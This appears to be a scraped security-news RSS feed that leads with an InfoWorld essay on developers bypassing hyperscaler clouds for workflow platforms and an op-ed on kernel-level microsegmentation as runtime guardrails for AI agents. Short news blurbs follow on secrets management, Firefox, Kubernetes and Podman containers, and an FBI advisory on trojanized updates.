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<p>You can be forgiven if you think the most important thing AWS ever sold developers was EC2. It’s not. No, <a href="https://www.infoworld.com/article/4183710/cloud-at-20-how-aws-shaped-enterprise-it.html" data-type="link" data-id="https://www.infoworld.com/article/4183710/cloud-at-20-how-aws-shaped-enterprise-it.html">AWS’s big gift</a> to developers was permission to stop fretting about servers. That sounds obvious now, but it was close to magical at the time. Before the cloud, getting infrastructure meant waiting on procurement, hardware, and the somewhat arcane process that stood between a developer and a running machine. AWS turned that into a credit card and an API.</p>



<p>It was awesome.</p>



<p>AWS still (over)uses a great phrase for what it removed: “<a href="https://aws.amazon.com/what-is-aws/">undifferentiated heavy lifting</a>.” That is, all the mess associated with racking servers, patching operating systems, managing storage, planning capacity, etc. Important work, sure, but not the work that makes your application special. Let AWS do that, the company intoned, and developers could focus on the thing their customers actually cared about.</p>



<p>It was a brilliant abstraction. It helped build one of the most important technology companies of the past two decades. It’s also the same logic that increasingly makes the cloud seem superfluous. Not because the cloud is dying. It isn’t. The cloud is bigger and more essential than ever. But developers don’t begin by asking, “Which cloud should I use?” They begin with, “How quickly can I get this thing working?”</p>



<p>That is a different question, and it leads to different tools.</p>



<h2 class="wp-block-heading"><a></a>Where to begin?</h2>



<p>Let’s get the obvious thing out of the way: AWS remains the biggest developer cloud, and its revenue growth has accelerated in the wake of AI. In the<a href="https://survey.stackoverflow.co/2024/technology"> 2024 Stack Overflow Developer Survey</a>⁠, AWS was the top cloud platform, used by 48% of respondents. Microsoft Azure and Google Cloud followed at 27.8% and 25.1%, respectively.</p>



<p>The<a href="https://survey.stackoverflow.co/2025/technology"> 2025 Stack Overflow Developer survey</a>⁠ is more interesting, however, because the “cloud development” category no longer reads like a clear cloud-vendor horse race. <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a> jumped 17 points to 71% usage, followed by npm and then AWS at 43%. Kubernetes, Azure, Google Cloud, Cloudflare, Terraform, Firebase, Vercel, Netlify, and Supabase all show up in the same mental map.</p>



<p>This is my point: Developers aren’t simply choosing a different cloud first. Often, they’re not choosing a cloud first at all. They’re choosing a workflow, and a workflow is an increasingly separate decision from the underlying cloud.</p>



<h2 class="wp-block-heading"><a></a>The first mile moved</h2>



<p>For a long time, AWS owned the first mile. If you wanted to build something, you opened an AWS account. Need compute? Launch EC2. Storage? S3. Whatever a developer needed—database, queue, function, CDN, identity layer—AWS, the “everything store,” almost certainly had an answer.</p>



<p>It was magical! Then it became the norm. And, over time, it became a lot. The “everything store” arguably had too much, making it hard for developers to know how to use it effectively. The developer’s question became, “How much AWS do I have to understand before I can ship?” Developers increasingly don’t want to answer that question at the start.</p>



<p>The first mile now often begins in <a href="https://www.infoworld.com/article/4069045/how-github-won-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/4069045/how-github-won-software-development.html">GitHub⁠</a>, which says more than 36 million developers joined in a single year. Or it begins in <a href="https://www.infoworld.com/article/4115165/why-boring-vs-code-keeps-winning.html">VS Code, which keeps winning</a> because it’s familiar, extensible, and already open. Or it begins in Cursor, GitHub Copilot, Claude, Codex, and the broader AI coding layer. <a href="https://github.blog/news-insights/octoverse/octoverse-a-new-developer-joins-github-every-second-as-ai-leads-typescript-to-1/">GitHub’s 2025 Octoverse⁠ says nearly 80% of new developers</a> on GitHub use Copilot within their first week. <a href="https://survey.stackoverflow.co/2025/ai/">Stack Overflow’s 2025 AI survey results⁠ point</a> the same way, with 84% of respondents using or planning to use AI tools in their development process, up from 76% in 2024.</p>



<p>The starting point is changing. The default interface to building software is becoming an AI-assisted workflow, not a cloud console. This doesn’t make the cloud less important, but it definitely makes it less visible.</p>



<h2 class="wp-block-heading"><a></a>The joy of not caring</h2>



<p>The developer platforms with momentum right now are winning because they expose less cloud infrastructure. Call it serverless if you like, but it’s deeper than AWS Lambda ever was. AWS Lambda still made you think in AWS. These new platforms make you think in your app.</p>



<p>Take <a href="https://vercel.com/">Vercel</a>⁠. It didn’t win developer mindshare by offering more than 200 services and praying developers would navigate them all. Instead, it attached itself to the way many front-end and full-stack developers already work: GitHub, Next.js, previews, deployments, performance, and a short path from code to live application. It seems to be working: Reuters <a href="https://www.reuters.com/business/ai-coding-startup-vercel-raises-300-million-valued-93-billion-2025-09-30/">reported last year that Vercel raised $300 million</a> at a $9.3 billion valuation⁠, after doubling its user base and growing revenue 82%.</p>



<p><a href="https://developers.cloudflare.com/workers/">Cloudflare</a> offers a similar promise from a different angle, <a href="https://www.infoworld.com/article/4014268/cloud-finally-gets-some-new-competition.html">as I’ve written</a>: deploy globally, run close to users, scale automatically, and don’t make infrastructure the developer’s first problem. <a href="https://supabase.com/">Supabase</a>⁠ does the same for data, wrapping Postgres with authentication, instant APIs, edge functions, real-time subscriptions, storage, and <a href="https://www.infoworld.com/article/2269766/what-is-vector-search-better-search-through-ai.html">vectors</a> so the database feels less like a separate system and more like an app platform.</p>



<p>None of this is anti-cloud. But it’s very definitely stripping away the need to even think about cloud. And it’s just as definitely where developers are focused today.</p>



<p>AI accelerated all of this because it changed the first question developers ask. For an AI application, the opening move often isn’t where do you host it, but rather which model, which agent framework, etc., will get you to a live application fastest? For this reason, <a href="https://developers.openai.com/">OpenAI’s developer platform⁠ isn’t framed</a> as renting infrastructure. It’s framed as building with models, APIs, tools, docs, and examples. Similarly, <a href="https://www.anthropic.com/product/claude-code">Anthropic’s Claude Code⁠ isn’t positioned</a> as configuring a cloud environment; it’s an agentic coding system that works in your code base and helps you build, test, and ship.</p>



<h2 class="wp-block-heading"><a></a>The second mile matters more</h2>



<p>I’m not saying the cloud vendors should abandon hope. Indeed, though the first mile has moved away from the hyperscalers, the second mile is still very much theirs to win.</p>



<p>Vercel, Cloudflare, Supabase, OpenAI, Anthropic, and GitHub are brilliant at helping developers make something work, fast. But in the enterprise, “fast” isn’t the key priority: Enterprises eventually need the boring stuff like <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity</a>, network controls, <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a>, cost management, compliance, and the rest of the unglamorous apparatus that keeps customer data from leaking onto Reddit.</p>



<p>Boring is good when boring means the thing works.</p>



<p>This is where AWS, Azure, Google Cloud, Oracle, and other infrastructure companies should have an advantage. But it won’t be enough to say, “We have the grown-up features.” That’s true, but it’s dull, and in this case, “dull” isn’t a winning proposition. No, the strategic challenge for the hyperscalers is to make the jump from prototype to production feel like an upgrade instead of a punishment.</p>



<p>AWS’s new <a href="https://www.aboutamazon.com/news/aws/aws-1-billion-forward-deployed-ai-engineers">$1 billion investment in forward-deployed AI engineers</a>⁠ is interesting for exactly this reason. AWS says the new organization will embed experts with customers to co-develop and deploy agentic AI solutions in days. That’s not classic bottom-up developer love, but it’s a smart recognition that the bottleneck has moved closer to the application. The hard part is turning capability into a working system, not merely getting access to infrastructure or a model.</p>



<p>Yep. Exactly.</p>



<h2 class="wp-block-heading"><a></a>Hiding the cloud</h2>



<p>The mistake for cloud infrastructure companies would be to respond to this by trying to become a Vercel, Supabase, GitHub, OpenAI, or Anthropic all at once. That’s the classic incumbent move, and it rarely works. The better move is narrower: become the most natural next step when the prototype starts to matter.</p>



<p>That means meeting developers where they work: GitHub, VS Code, Cursor-style environments, <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD systems</a>, and <a href="https://www.infoworld.com/article/3812583/what-you-need-to-know-about-developing-ai-agents.html">AI agents</a>. It means outcome-native starts: deploy this app, connect this data, expose this API, add auth, evaluate this agent, secure this workflow, move this prototype into production. It means fewer scavenger hunts across product pages and <a href="https://www.infoworld.com/article/4079018/building-a-golden-path-to-ai.html">establishing more golden paths</a> (yes, even if that infuriates a service team that gets left out).</p>



<p>The old question was, “Can you run my workload?” For AWS, Azure, Google Cloud, Oracle, and others, the answer is almost always yes. But no one is impressed by this anymore. Therefore, the better question is, “Can you become part of how I build?”</p>



<p>Developers came to the cloud because it was the easiest way to get infrastructure. They’re shifting to developer experience platforms because those are the easiest way to get outcomes. If the cloud providers can become part of the first mile before the Vercels of the world become part of the second mile, they’ll win, and big. If they don’t, well….</p>
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<title><![CDATA[Why agentic systems need microsegmentation]]></title>
<description><![CDATA[Application programming interfaces have been successful because they define the limits of permissible exchange, including who may take what action, when, and under what circumstances. Those limitations create a framework for understanding the behavior of distributed systems. And they make it poss...]]></description>
<link>https://tsecurity.de/de/3648253/ai-nachrichten/why-agentic-systems-need-microsegmentation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648253/ai-nachrichten/why-agentic-systems-need-microsegmentation/</guid>
<pubDate>Mon, 06 Jul 2026 11:05:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>Application programming interfaces have been successful because they define the limits of permissible exchange, including who may take what action, when, and under what circumstances. Those limitations create a framework for understanding the behavior of distributed systems. And they make it possible to enforce policy at the boundary between interacting systems.</p>



<p>What constrains distributed systems isn’t access, but execution. With autonomous data movement and action occurring at machine speeds, where processes unfold sequentially over time rather than as a singular event, APIs no longer provide a sufficient means of enforcing boundaries. The problem is no longer whether a request is valid. It is whether a sequence of actions remains safe.</p>



<p>For agentic systems, there needs to be runtime guardrails around what they can read, write, and execute. <a href="https://www.infoworld.com/article/4028282/microsegmentation-for-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4028282/microsegmentation-for-developers.html">Microsegmentation</a>, enforced through network and kernel-level policies, defines those guardrails.</p>



<h2 class="wp-block-heading">APIs made systems predictable</h2>



<p>APIs were successful because they defined very specific interfaces. Clients could only ask for what the API had explicitly defined and only in ways the API defined. By limiting the ways clients could communicate with servers, APIs minimized the amount of unanticipated behavior. </p>



<p>The behavior space was small enough to reason about.</p>



<p>APIs also decoupled identity from infrastructure. Systems communicated through stable contracts instead of raw network primitives. Most importantly, APIs embedded policy into the interaction model. Authentication, authorization, and validation happened at the moment of request. Only authorized actions could occur within defined parameters. APIs worked because they reduced uncertainty to something controllable.</p>



<h2 class="wp-block-heading">AI is beyond the reach of API contracts</h2>



<p>AI models have exceeded the fixed boundaries defined in APIs. Traditional APIs were developed within the context of “fixed logic,” where the input into the application would result in one, and only one, predetermined output. Therefore, as long as you could protect the API gateway (interface), then the overall system was secure. </p>



<p>With agentic AI, this paradigm of fixed logic has been replaced by a paradigm of probabilistic decision-making. An agent does not follow a pre-written or hard-coded script. Instead, it reads a goal and determines the most likely sequence of actions needed to achieve that goal through dynamic reasoning. The contract is now hidden inside the emergent behaviors of the model, rather than being explicitly spelled out in the API documentation. </p>



<p>While the shift toward ephemeral workloads and <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a> has already pushed infrastructure beyond the reach of perimeter security, agentic AI introduces an even deeper layer of complexity: unpredictability. If you can’t predict an agent’s next move, then you also can’t use approval ahead of time at the API gateway. Additionally, detection-based tools like logging and alerting won’t help with this problem either, because they provide insight only after the agent’s decision and execution.</p>



<h2 class="wp-block-heading">Run time is the control plane</h2>



<p>All activity in a system ultimately ends up as kernel events. Processes begin executing. Files are being read and written. Network connections are being opened and closed. Therefore the kernel represents the most accurate location for both observing and enforcing actions.</p>



<p>By placing enforcement mechanisms in the kernel, you change the paradigm. Using <a href="https://ebpf.io/" data-type="link" data-id="https://ebpf.io/">eBPF</a> allows developers to attach kernel-level hooks into events and thus capture detailed information about process-, file-, and network-level activity in real time. It offers a common view of execution with minimal added latency.</p>



<p>Building upon this foundational capability, platforms like Cilium and Tetragon expand enforcement beyond the kernel. <a href="https://cilium.io/" data-type="link" data-id="https://cilium.io/">Cilium</a> enforces identity-aware policy at the networking layer, assuring that communications between workloads follow pre-established rules regardless of which physical or abstract nodes those workloads reside on. <a href="https://tetragon.io/" data-type="link" data-id="https://tetragon.io/">Tetragon</a> correlates file- and process-level activity, enabling the assessment and termination of sequences of behavior prior to their completion. </p>



<p>Thus microsegmentation is evolving past simply segmenting networks into zones based on access rights. Microsegmentation now refers to segmenting behavior based on allowable actions. Policies define what a workload can read, write, execute, and connect to. All of these restrictions are enforced in real time at the instant an action is taken. </p>



<p>In regards to agentic systems, microsegmentation serves as a new form of agreement or contract between autonomous entities and their intended environment. It constrains agentic systems’ ability to autonomously act while still enabling them to contribute to complex workflows.</p>



<h2 class="wp-block-heading">Control without interfaces</h2>



<p>Over time APIs were able to establish boundaries within which distributed systems could operate predictably and securely enough to support large-scale adoption. </p>



<p>A similar evolution is currently taking place with regard to agentic AI. However, agentic AI operates at an entirely different scale than early web services. While APIs functioned across a relatively finite set of interactions (e.g., client requests), agentic AI is increasingly functioning across ever-expanding sets of behaviors (i.e., autonomous decision-making). Thus while the need for constraint remains constant, the enforcement point must shift.</p>



<p>Microsegmentation along with kernel-level policy enforcement becomes that enforcement point. It provides guardrails at run time where actual behavior takes place. It enables monitoring, evaluation and enforcement in real time against agentic systems’ actions and decisions. As AI systems mature from being passive tools toward autonomous agents operating independently of direct human oversight, this model will be essential to providing safety guarantees, predictability, and governance capabilities by focusing on the final frontier of security: execution.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Secrets Management: Warum es an Bedeutung gewinnt]]></title>
<description><![CDATA[Cloud-Plattformen, Kubernetes-Umgebungen und APIs erzeugen eine stetig wachsende Zahl von Zugriffspunkten für Anwendungen und Services. Die sichere Verwaltung der dafür notwendigen Secrets entwickelt sich zu einer zentralen Aufgabe für IT-Sicherheit und Compliance. 

Tags: #Compliance Management ...]]></description>
<link>https://tsecurity.de/de/3648182/it-security-nachrichten/secrets-management-warum-es-an-bedeutung-gewinnt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648182/it-security-nachrichten/secrets-management-warum-es-an-bedeutung-gewinnt/</guid>
<pubDate>Mon, 06 Jul 2026 10:23:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/06/Secrets-Management_OAK-Software.jpg" class="attachment-full size-full wp-post-image" alt="Secrets Management OAK Software" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/06/Secrets-Management_OAK-Software.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/06/Secrets-Management_OAK-Software-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/06/Secrets-Management_OAK-Software-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/06/Secrets-Management_OAK-Software-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/06/Secrets-Management_OAK-Software-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Secrets Management: Warum es an Bedeutung gewinnt 3"></p>
    Cloud-Plattformen, Kubernetes-Umgebungen und APIs erzeugen eine stetig wachsende Zahl von Zugriffspunkten für Anwendungen und Services. Die sichere Verwaltung der dafür notwendigen Secrets entwickelt sich zu einer zentralen Aufgabe für IT-Sicherheit und Compliance. 

<p>Tags: <a href="https://www.it-daily.net/thema/compliance-management">#Compliance Management</a> | <a href="https://www.it-daily.net/thema/datenschutz">#Datenschutz</a> | <a href="https://www.it-daily.net/thema/it-infrastruktur">#IT-Infrastruktur</a></p>]]></content:encoded>
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<title><![CDATA[About:Community: A new Firefox look, hidden features, and more]]></title>
<description><![CDATA[Hi Mozillians, welcome to another Mozilla community roundup!
This month, we’re taking a look at what’s next for Firefox. From an upcoming visual refresh and a peek behind the new design system to hidden features you may never have used before. We’re also highlighting a recent Reddit AMA on the ne...]]></description>
<link>https://tsecurity.de/de/3647772/tools/aboutcommunity-a-new-firefox-look-hidden-features-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3647772/tools/aboutcommunity-a-new-firefox-look-hidden-features-and-more/</guid>
<pubDate>Mon, 06 Jul 2026 07:06:19 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hi Mozillians, welcome to another Mozilla community roundup!</p>
<p>This month, we’re taking a look at what’s next for Firefox. From an upcoming visual refresh and a peek behind the new design system to hidden features you may never have used before. We’re also highlighting a recent Reddit AMA on the new Firefox product Roadmap and celebrating community contribution that’s making collaboration in Pontoon even better.</p>
<p>Let’s dive in!</p>
<p><strong>✨ Firefox gets a fresh new look. Soon!</strong></p>
<p><a href="https://blog.mozilla.org/community/files/2026/07/nova.png"><img alt="" class="alignnone size-full wp-image-2545" height="1427" src="https://blog.mozilla.org/community/files/2026/07/nova.png" width="2485"></a></p>
<p>Firefox is evolving with a refreshed design that makes the browser feel more modern, approachable, and consistent across desktop and mobile. The refresh also extends to Firefox’s voice and writing style, making product experience feel more human, direct, and unmistakably Firefox. If you’re excited about these changes, make sure to keep an eye out for an upcoming foxfooding opportunity later this month!</p>
<p><a href="https://connect.mozilla.org/t5/discussions/sharing-more-about-project-nova/td-p/125996/">Learn more</a></p>
<p><strong> Firefox can do all this?</strong></p>
<p>Sreenath from <em>It’s FOSS</em> rounded up 21 Firefox features that many users never discover. From the built-in Eyedropper tool and Picture-in-Picture to vertical tabs and other productivity features, there’s plenty to explore. See how many you’ve already used! We could even turn it into a fun bingo at our next community event.</p>
<p><a href="https://itsfoss.com/firefox-additional-features/">Read more</a></p>
<p><strong> From the Reddit Community</strong></p>
<p><a href="https://blog.mozilla.org/community/files/2026/07/Firefox_Distilled_Roadmap-1000x563-1.webp"><img alt="Fx roadmap" class="alignnone size-full wp-image-2544" height="563" src="https://blog.mozilla.org/community/files/2026/07/Firefox_Distilled_Roadmap-1000x563-1.webp" width="1000"></a></p>
<p>Firefox leaders recently joined<a href="https://www.reddit.com/r/firefox/"> r/firefox</a> for a live AMA to answer questions about the newly launched Firefox Product Roadmap. Community members asked about everything from Android improvements and Containers to Project Nova, PWAs, performance, and future browser development. The conversation generated a wide range of discussions and provided valuable insight into what Firefox users are most excited, and concerned, about.</p>
<p><a href="https://www.reddit.com/r/firefox/comments/1u7cyh7/introducing_the_firefox_roadmap_ama_next_week/">Read the full AMA</a></p>
<p><strong> Community spotlight</strong></p>
<p>Collaboration in Pontoon just got a little easier. Thanks to volunteer contributor <strong>Serah Nderi</strong>, users can now edit and delete their own comments, while project managers can remove comments for moderation purposes. This long-requested feature helps reduce clutter, improve discussions, and makes collaboration smoother for localization teams.</p>
<p><a href="https://blog.mozilla.org/l10n/2026/04/03/enhancing-comment-management-in-pontoon/">Read more</a></p>
<hr>
<p>P.S.</p>
<p>Enjoyed these updates? Subscribe to the <a href="https://community.mozilla.org/newsletter">Mozilla Community Newsletter</a> and get the latest updates delivered straight to your inbox.</p>]]></content:encoded>
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<title><![CDATA[heise-Angebot: iX-Workshop Advanced Kubernetes Security: Effektive Maßnahmen und Best Practices]]></title>
<description><![CDATA[Lernen Sie anhand praktischer Beispiele, wie Sie Ihre Kubernetes-Umgebung durch effektive Methoden und Werkzeuge vor Angriffen schützen.]]></description>
<link>https://tsecurity.de/de/3646447/it-nachrichten/heise-angebot-ix-workshop-advanced-kubernetes-security-effektive-massnahmen-und-best-practices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646447/it-nachrichten/heise-angebot-ix-workshop-advanced-kubernetes-security-effektive-massnahmen-und-best-practices/</guid>
<pubDate>Sun, 05 Jul 2026 10:33:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Lernen Sie anhand praktischer Beispiele, wie Sie Ihre Kubernetes-Umgebung durch effektive Methoden und Werkzeuge vor Angriffen schützen.]]></content:encoded>
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<title><![CDATA[Container betreiben mit Podman Quadlets (cosin2026)]]></title>
<description><![CDATA[Podman quadlets sind endlich auch auf Ubuntu 26.04 und Debian trixie in einer brauchbaren Version verfügbar. Damit wird der Betrieb von pods und containers unter sytemd nun sehr viel komfortabler.
about this event: https://fahrplan.cosin.ch/fahrplan/2026/events/e26b73b4-dce6-5711-9af0-7954a96d37c1/]]></description>
<link>https://tsecurity.de/de/3646141/it-security-video/container-betreiben-mit-podman-quadlets-cosin2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646141/it-security-video/container-betreiben-mit-podman-quadlets-cosin2026/</guid>
<pubDate>Sun, 05 Jul 2026 05:03:20 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Podman quadlets sind endlich auch auf Ubuntu 26.04 und Debian trixie in einer brauchbaren Version verfügbar. Damit wird der Betrieb von pods und containers unter sytemd nun sehr viel komfortabler.
about this event: https://fahrplan.cosin.ch/fahrplan/2026/events/e26b73b4-dce6-5711-9af0-7954a96d37c1/]]></content:encoded>
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<title><![CDATA[Container betreiben mit Podman Quadlets (cosin2026)]]></title>
<description><![CDATA[Podman quadlets sind endlich auch auf Ubuntu 26.04 und Debian trixie in einer brauchbaren Version verfügbar. Damit wird der Betrieb von pods und containers unter sytemd nun sehr viel komfortabler.
about this event: https://fahrplan.cosin.ch/fahrplan/2026/events/e26b73b4-dce6-5711-9af0-7954a96d37c1/]]></description>
<link>https://tsecurity.de/de/3646130/it-security-video/container-betreiben-mit-podman-quadlets-cosin2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646130/it-security-video/container-betreiben-mit-podman-quadlets-cosin2026/</guid>
<pubDate>Sun, 05 Jul 2026 04:47:04 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Podman quadlets sind endlich auch auf Ubuntu 26.04 und Debian trixie in einer brauchbaren Version verfügbar. Damit wird der Betrieb von pods und containers unter sytemd nun sehr viel komfortabler.
about this event: https://fahrplan.cosin.ch/fahrplan/2026/events/e26b73b4-dce6-5711-9af0-7954a96d37c1/]]></content:encoded>
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<title><![CDATA[BackendTLSPolicy expands Gateway API transport security]]></title>
<description><![CDATA[BackendTLSPolicy is a Kubernetes resource that allows the specification of additional Transport Layer Security (TLS) encryption in Gateway API. It gives Gateway API users on Red Hat OpenShift access to the same level of secured traffic as the OpenShift route…
Read more →
The post BackendTLSPolicy...]]></description>
<link>https://tsecurity.de/de/3645564/it-security-nachrichten/backendtlspolicy-expands-gateway-api-transport-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645564/it-security-nachrichten/backendtlspolicy-expands-gateway-api-transport-security/</guid>
<pubDate>Sat, 04 Jul 2026 18:08:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>BackendTLSPolicy is a Kubernetes resource that allows the specification of additional Transport Layer Security (TLS) encryption in Gateway API. It gives Gateway API users on Red Hat OpenShift access to the same level of secured traffic as the OpenShift route…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/backendtlspolicy-expands-gateway-api-transport-security/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/backendtlspolicy-expands-gateway-api-transport-security/">BackendTLSPolicy expands Gateway API transport security</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Brave Says This is Not a Privacy Feature, But Using Containers Has Its Perks]]></title>
<description><![CDATA[Brave Browser 1.92 introduces support for Containers that isolate cookies and site data per tab.]]></description>
<link>https://tsecurity.de/de/3645273/unix-server/brave-says-this-is-not-a-privacy-feature-but-using-containers-has-its-perks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645273/unix-server/brave-says-this-is-not-a-privacy-feature-but-using-containers-has-its-perks/</guid>
<pubDate>Sat, 04 Jul 2026 13:16:33 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Brave Browser 1.92 introduces support for Containers that isolate cookies and site data per tab.]]></content:encoded>
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<title><![CDATA[How Fidelis Strengthens Enterprise Container Security Across Docker and Kubernetes]]></title>
<description><![CDATA[Learn how Fidelis helps secure Docker and Kubernetes environments with continuous visibility, threat detection, and runtime protection for enterprise containers.
The post How Fidelis Strengthens Enterprise Container Security Across Docker and Kubernetes appeared first on Fidelis Security.]]></description>
<link>https://tsecurity.de/de/3644184/it-security-nachrichten/how-fidelis-strengthens-enterprise-container-security-across-docker-and-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644184/it-security-nachrichten/how-fidelis-strengthens-enterprise-container-security-across-docker-and-kubernetes/</guid>
<pubDate>Fri, 03 Jul 2026 20:07:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learn how Fidelis helps secure Docker and Kubernetes environments with continuous visibility, threat detection, and runtime protection for enterprise containers.</p>
<p>The post <a href="https://fidelissecurity.com/threatgeek/cloud-security/enterprise-container-security-across-docker-and-kubernetes/">How Fidelis Strengthens Enterprise Container Security Across Docker and Kubernetes</a> appeared first on <a href="https://fidelissecurity.com/">Fidelis Security</a>.</p>]]></content:encoded>
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<title><![CDATA[FBI Says TeamPCP Uses Trojanized Updates to Steal Cloud Tokens, SSH Keys, and Kubernetes Secrets]]></title>
<description><![CDATA[The Federal Bureau of Investigation (FBI) has issued an urgent FLASH advisory warning that the cybercriminal group TeamPCP is weaponizing trojanized software updates to harvest cloud access tokens, SSH keys, and Kubernetes secrets at scale. This campaign represents one of the most sophisticated s...]]></description>
<link>https://tsecurity.de/de/3642930/it-security-nachrichten/fbi-says-teampcp-uses-trojanized-updates-to-steal-cloud-tokens-ssh-keys-and-kubernetes-secrets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642930/it-security-nachrichten/fbi-says-teampcp-uses-trojanized-updates-to-steal-cloud-tokens-ssh-keys-and-kubernetes-secrets/</guid>
<pubDate>Fri, 03 Jul 2026 09:37:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Federal Bureau of Investigation (FBI) has issued an urgent FLASH advisory warning that the cybercriminal group TeamPCP is weaponizing trojanized software updates to harvest cloud access tokens, SSH keys, and Kubernetes secrets at scale. This campaign represents one of the most sophisticated software supply chain attacks observed in 2026, exploiting trust in widely deployed […]</p>
<p>The post <a href="https://gbhackers.com/teampcp-uses-trojanized-updates/">FBI Says TeamPCP Uses Trojanized Updates to Steal Cloud Tokens, SSH Keys, and Kubernetes Secrets</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[FBI Says TeamPCP Uses Trojanized Updates to Steal Cloud Tokens, SSH Keys, and Kubernetes Secrets]]></title>
<description><![CDATA[The Federal Bureau of Investigation (FBI) has issued an urgent FLASH advisory warning that the cybercriminal group TeamPCP is weaponizing trojanized software updates to harvest cloud access tokens, SSH keys, and Kubernetes secrets at scale. This campaign represents one of…
Read more →
The post FB...]]></description>
<link>https://tsecurity.de/de/3642925/it-security-nachrichten/fbi-says-teampcp-uses-trojanized-updates-to-steal-cloud-tokens-ssh-keys-and-kubernetes-secrets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642925/it-security-nachrichten/fbi-says-teampcp-uses-trojanized-updates-to-steal-cloud-tokens-ssh-keys-and-kubernetes-secrets/</guid>
<pubDate>Fri, 03 Jul 2026 09:37:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Federal Bureau of Investigation (FBI) has issued an urgent FLASH advisory warning that the cybercriminal group TeamPCP is weaponizing trojanized software updates to harvest cloud access tokens, SSH keys, and Kubernetes secrets at scale. This campaign represents one of…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/fbi-says-teampcp-uses-trojanized-updates-to-steal-cloud-tokens-ssh-keys-and-kubernetes-secrets/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/fbi-says-teampcp-uses-trojanized-updates-to-steal-cloud-tokens-ssh-keys-and-kubernetes-secrets/">FBI Says TeamPCP Uses Trojanized Updates to Steal Cloud Tokens, SSH Keys, and Kubernetes Secrets</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[7 Data-Science-Perlen für Python]]></title>
<description><![CDATA[Diese Python-Tools bereichern das Data-Scientist-Dasein.DC Studio | shutterstock.com



Pythons opulentes Tool-Ökosystem ist einer der wesentlichen Vorzüge der Programmiersprache. Die Kehrseite: Weil es so viele Python-Tools gibt, ist es allzu leicht, wirklich gute zu übersehen. Deshalb haben wir...]]></description>
<link>https://tsecurity.de/de/3642680/it-security-nachrichten/7-data-science-perlen-fuer-python/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642680/it-security-nachrichten/7-data-science-perlen-fuer-python/</guid>
<pubDate>Fri, 03 Jul 2026 06:07:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
